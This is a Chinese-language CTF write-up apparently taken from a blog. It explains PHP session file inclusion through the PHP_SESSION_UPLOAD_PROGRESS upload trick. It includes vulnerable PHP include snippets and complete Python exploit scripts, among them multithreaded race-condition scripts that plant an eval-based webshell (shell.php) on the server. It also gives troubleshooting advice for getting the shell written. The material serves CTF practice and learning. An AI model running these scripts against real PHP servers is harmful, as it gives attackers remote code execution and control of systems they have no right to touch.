目录

session包含

# session包含

参考:

# session介绍

session是什么 (opens new window)

简单的理解,session是一个记录用户行为会话的信息,在php中默认是不会生成session的,但是允许用户自定义session

session会记录什么呢

1

提示

在服务器上存储用户信息以便随后使用(比如用户名称、购买商品,文件上传等)。然而,会话信息是临时的,这些session信息一般储存在/tmp/sess_sessionid文件中,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

其他可能储存的位置,主要在/tmp/目录下

  • /tmp/
  • /tmp/sessions/
  • /var/lib/php/
  • /var/lib/php/sessions/

# 步入正题

它的正经用途介绍结束了,下面讲讲恶趣味

引用开头大佬文章内容

1

关键点:

  • session文件默认用户可以自定义
  • 文件上传时默认生成session,记录详细信息和跟踪上传进度
  • session.upload_progress.cleanup配置项默认打开,伪造的文件上传后,会清空session

注意

通过伪造文件上传这一过程,让服务器生成session文件,session文件里会储存一些文件信息,例如文件名,文件内容,session保存位置等信息的序列化格式,在这里,文件内容是可以伪造的,文件内容就是PHP_SESSION_UPLOAD_PROGRESS上传进度的值。因为用户可以自定义session,所以上传进度变成可控的了,在下面的脚本中也会体现出来。

# QA

QA

这里提到两个重点

  • session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”

  • 默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争在session文件内容清空前进行包含利用

# 测试

题目地址ctfshow easy_include (opens new window)

<?php

function waf($path){
    $path = str_replace(".","",$path);
    return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
    include "file://".$_POST[1];
}
1
2
3
4
5
6
7
8
9
10

通过伪造”文件上传“创建session脚本

import requests
# 如果题目链接是https,换成http
# url="https://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
url="http://642a817d-1d1a-4f22-aded-f796560bdd17.challenge.ctf.show/"
sessionid = 'ctfshow'

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php phpinfo();?>',
    '1': 'localhost/tmp/sess_'+sessionid,
    }
 
file = {
    'file': sessionid
}
cookies = {
    'PHPSESSID': sessionid
}

response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

可以把session内容换成以下内容,生成一个新的木马文件

<?php
file_put_contents("1.php","<?php eval(\$_POST[1]);?>");
?>
1
2
3

现在可以通过post传参传入1=localhost/tmp/sess_ctfshow包含这个session文件

4

讲到现在有什么疑惑吗。?

它的session文件没有被清除?

注意

session.upload_progress.cleanup = on //表示当文件上传结束后,php将会立即清空对应session文件中的内容

这个脚本并没有条件竞争功能,它的session文件在伪造的文件上传后,没有并被清空

提示

session文件是有生命周期的,一般是24分钟,但是他只是会过期,并不会删除,这么说可以一直利用?

这一题比较特殊,通过后期getshell查看phpinfo()函数时可以看到配置项session.upload_progress.cleanup是关的,应该是群主改了,好大的雷,趁热打铁复现时卡死我了,才去了解这个配置项

3

# 条件竞争

# post表单类型

<?php
error_reporting(0);
highlight_file(__FILE__);
include$_POST[1];
1
2
3
4

提示

session.upload_progress.cleanup=On # 一般都是开启的,文件上传后会清空session文件,清空后你再包含就达不到目的了

通过条件竞争,在session文件没有被清空时包含并执行,直接食用或者生成小马都行

import requests
import threading
import time

# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'
data = {
    # session文件内容
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>',
    # session文件路径可能不同
    '1': '/tmp/sess_' + sessionid,
}

file = {
    'file': sessionid
}

cookies = {
    'PHPSESSID': sessionid
}

# 上传文件函数
def upload_file():
    while True:
        response = requests.post(url, data=data, files=file, cookies=cookies)
        time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 检查文件是否已创建
def check_file():
    while True:
        r = requests.get(url + 'shell.php')
        if r.status_code == 200:
            print('Webshell created successfully')
            print(r.text)
            break
        else:
            print('error:', r.status_code)
        # time.sleep(1)  # 为了避免发送请求过快,可以适当增加间隔时间

# 创建并启动线程
threads = []
for _ in range(5):  # 创建5个上传线程
    t = threading.Thread(target=upload_file)
    t.start()
    threads.append(t)

for _ in range(5):  # 创建5个检查线程
    t = threading.Thread(target=check_file)
    t.start()
    threads.append(t)

# 等待所有线程完成
for t in threads:
    t.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

# get表单类型

对post类型稍加修改

<?php
error_reporting(0);
highlight_file(__FILE__);
include$_GET[1];
1
2
3
4

条件竞争脚本

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
sessionid = 'ctfshow'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?1=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

最后好奇的查看/tmp目录下的文件,看到一些奇怪的php开头的文件名,里面内容是ctfshow 5

根据开头这张图就可以解释这些文件名是什么了,session文件包含进来时,显示一个序列化的数组数据,这些php开头的文件是临时文件名 4

# 关于报错

# 长时间未写入

提示

检查脚本中参数是否服务题目要求

# 常见错误码

  • 404:shell未写入,耐心等
  • 500:shell写入了,但是存在语法错误。查看修改过程是否删掉了关键部分
  • 200:成功写入

状态码500的补救措施

修改脚本中的sessionid,shell文件名,接着跑。创建一个新的shell

最后一次更新于: 2024/10/21, 00:48:29